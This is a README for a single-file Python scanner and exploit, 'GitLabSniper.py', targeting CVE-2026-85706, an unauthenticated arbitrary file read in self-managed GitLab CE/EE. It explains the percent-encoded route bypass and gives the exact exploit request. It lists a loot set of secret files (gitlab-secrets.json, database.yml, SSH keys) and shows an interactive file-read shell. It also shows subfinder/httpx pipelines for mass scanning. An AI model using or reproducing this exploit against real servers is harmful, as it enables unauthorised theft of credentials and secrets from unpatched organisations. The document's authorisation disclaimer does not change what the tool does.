
Single-file Python scanner and exploit for CVE-2026-85706, an unauthenticated arbitrary file read in self-managed GitLab CE/EE, with project enumeration, loot paths, and an interactive shell.
CVE-2026-85706 — GitLab CE/EE unauthenticated arbitrary file read
detect · public project enum · loot · interactive shell · subfinder/httpx pipeline
Author: Yunus Emre Öztaş (mitsec)
X: x.com/ynsmroztas
GitHub: github.com/ynsmroztas
Site: ynsmroztas.github.io
Mail: [email protected]
Use only on systems you own or are explicitly authorized to test (bug bounty / VDP / written contract).
GitLabSniper.py is a single-file Python scanner/exploit for CVE-2026-85706: an unauthenticated local file read in self-managed GitLab Community Edition and Enterprise Edition.
It does not stop at “version looks affected”. It fires the Workhorse parser-differential bypass, classifies the Rails response, and only prints FILE LEAK when the 400 body contains the file bytes inside invalid %-encoding (...).
| Band | Versions |
|---|---|
| Affected | 18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1 |
| Patched | 19.1.8 / 19.2.6 / 19.3.2 (2026-09-10) |
| Not in scope | gitlab.com · GitLab Dedicated |
Three repository endpoints sit behind Workhorse requestBodyUploader:
POST /api/v4/projects/:id/repository/commitsPOST /api/v4/projects/:id/repository/files/:file_pathPUT /api/v4/projects/:id/repository/files/:file_pathRails takes the raw file.path field and runs File.open before authenticate!. require_gitlab_workhorse! is not a real gate here: Workhorse already stamps a valid Gitlab-Workhorse-Api-Request JWT on anything it proxies.
Workhorse was supposed to rewrite the upload first. Its route regex matches EscapedPath() and a path.Clean clone that never percent-decodes. Puma does decode %XX before Grape routing.
Attacker
POST /api/v4/projects/35/repository/%63ommits
POST /api/v4/projects/35/repository/commits/ ← trailing slash also slips
?file=&file.path=/etc/passwd&file.size=1
&Content-Type=application/x-www-form-urlencoded
│
▼
Workhorse regex sees "%63ommits" / "commits/" → MISS (no rewrite)
│
▼
Puma decodes %63 → commits → ROUTES to Rails
│
▼
Rails File.open(params[:file][:path]) → BEFORE auth
│
▼
Rack parse_nested_query(File.read(path))
stray "%" that is not %HH
│
▼
HTTP 400 Invalid parameter: invalid %-encoding (<raw file bytes>)
file= blank satisfies requires :file, WorkhorseFile (blank → nil). The leak channel is the urlencoded branch. JSON/Oj does not echo file bytes the same way — the tool always sends Content-Type=application/x-www-form-urlencoded.
//, /./, %2F and ; do not bypass: path.Clean normalizes the first two and Puma rejects %2F.
The project id is not “which repo to steal files from”. file.path is an absolute server path. The id is only the URL piece that reaches the vulnerable controller.
| Endpoint | Project requirement |
|---|---|
files (%66iles) | Any id often works — File.open is before project checks |
commits (%63ommits, commits/, commits.json) | Needs a project an anonymous user can read_code. Otherwise 404 Project Not Found |
That is why the tool enumerates GET /api/v4/projects and skips gated ids.
Confirmed leak requires this substring in the body:
invalid %-encoding (
Files with no lone % may still be opened (read-noecho / later branch is required) but will not echo. That is an oracle, not a reportable dump.
x-gitlab-* / sign-in) + version range when visibleGET /api/v4/projects)1..7)%63ommits · %72epository · %66iles/ · .jsonleak · leak-fragment · read-noecho · missing · project-gate · rewrite · noroute--auto loot list (hostname, passwd, secrets.yml, gitlab-secrets.json, gitlab.rb, database.yml, ssh keys, environ)cat, loot, secrets, passwd, project <id>, curl)httpx -sc -td -title, httpx -json, ANSI stripped-o)pip install requests
python3 GitLabSniper.py -h
Python 3.10+. No other deps.
python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto
python3 GitLabSniper.py -u https://gitlab.example.com --shell
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit
subfinder -d example.com -silent \
| httpx -silent -sc -td -title \
| python3 GitLabSniper.py --pipe --auto -o hits.jsonl
subfinder -d example.com -silent \
| httpx -silent -json \
| python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl
# stdin is not a TTY → --pipe is implied
cat hosts.txt | python3 GitLabSniper.py --auto
Parser accepts:
https://gitlab.example.comhttps://gitlab.example.com [200] [GitLab] [nginx]httpx -json objects (url / status_code)host and host:port[0] / timeout / empty rows| Flag | Meaning |
|---|---|
-u / -t / --target | Single base URL |
--pipe | Read targets from stdin |
-f / --list | File of hosts |
--file | One absolute path to read |
--auto / --loot | High-value GitLab file list |
--shell | Interactive file-read shell |
--project-id | Force project id (default: enum + fallback) |
--max-projects | Cap enum/fallback ids (default 8) |
--force | Scan even if fingerprint is weak |
--threads | Pipeline workers (default 8) |
--timeout | Seconds (default 15) |
-o | hits.json or hits.jsonl |
-q | Quiet |
--no-banner | No banner |
Exit codes: 0 leak · 1 oracle-only / no leak in pipe · 2 no usable signal.